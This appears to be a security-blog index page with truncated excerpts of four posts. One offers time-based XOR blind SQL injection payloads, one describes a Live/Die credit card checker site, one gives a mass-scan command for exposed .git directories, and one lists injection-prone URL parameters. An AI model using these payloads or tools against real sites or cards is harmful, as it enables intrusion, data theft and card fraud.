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SQL Injection remains one of the most critical web application vulnerabilities. Among its variants, XOR Blind SQL Injection is particularly tricky to detect and exploit. In this blog post, we'll explore a curated list of powerful XOR blind SQL injection payloads that have proven effective for many security researchers, including some of my personal favorites. Understanding XOR Blind SQL Injection XOR Blind SQL Injection leverages the XOR operation to bypass certain filters and inject malicious SQL code. The 'blind' aspect means that the attacker doesn't see the direct output of the query but infers information based on the application's behavior, often using time delays. Top XOR Blind SQL Injection Payloads Here's a collection of some of the most effective XOR blind SQL injection payloads: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'X 0"XOR(if(now()=sysdate(),sleep(10),0))XOR"Z 'XOR(if((select now()=sysdate()),sleep(10),0))...

In the world of online transactions and e-commerce, having valid credit card information is crucial. Uncoder.eu.org presents itself as a free credit card checker and validator tool. However, it's important to approach such tools with caution and understand their implications. What is Uncoder.eu.org? Uncoder.eu.org is a website that offers a credit card checking service. It claims to provide a platform for validating credit card numbers, which could be useful for developers testing payment systems or for individuals verifying the format of their credit card numbers. Features of the Tool Credit card number validation Real-time checking Support for multiple card types How It Works The tool appears to work by allowing users to input credit card numbers, which are then checked against certain algorithms to determine their validity. It categorizes the results into three main groups: Live - Valid card numbers Die - Invalid card numbers Unknown - Car...

In the world of bug bounty hunting, sometimes the simplest discoveries can lead to significant rewards. Recently, a security researcher stumbled upon an exposed .git directory on a website and earned a whopping $20,000 bounty. This discovery highlights an often overlooked but potentially critical vulnerability that you, as a bug bounty hunter, should be aware of. Why are exposed .git directories dangerous? The .git directory contains version control information for a project. If exposed, it can reveal sensitive information such as: Source code Configuration files Credentials or API keys Internal server structures This information can be a goldmine for attackers, potentially leading to more severe vulnerabilities or direct system compromise. How to hunt for exposed .git directories To capitalize on this opportunity, you can use the following command for mass hunting of exposed .git directories: cat domains.txt | grep "SUCCESS" | gf ur...

As a bug bounty hunter or security researcher, understanding potential vulnerabilities in web applications is crucial. One of the most common and dangerous vulnerabilities is SQL Injection (SQLi). In this blog post, we'll explore some common endpoints that are often susceptible to SQLi attacks across various web technologies. SQL Injection vulnerabilities occur when user input is not properly sanitized before being used in SQL queries. This can allow attackers to manipulate the query and potentially access, modify, or delete sensitive data. Here are some common endpoints that are frequently vulnerable to SQLi attacks, categorized by file extension: 1. PHP (.php) Applications: index.php?category= product.php?id= news.php?article_id= user.php?username= login.php?username=&password= search.php?q= blog.php?post_id= forum.php?thread_id= profile.php?user_id= admin.php?username=&password= 2. ASP (.asp) Applications: ...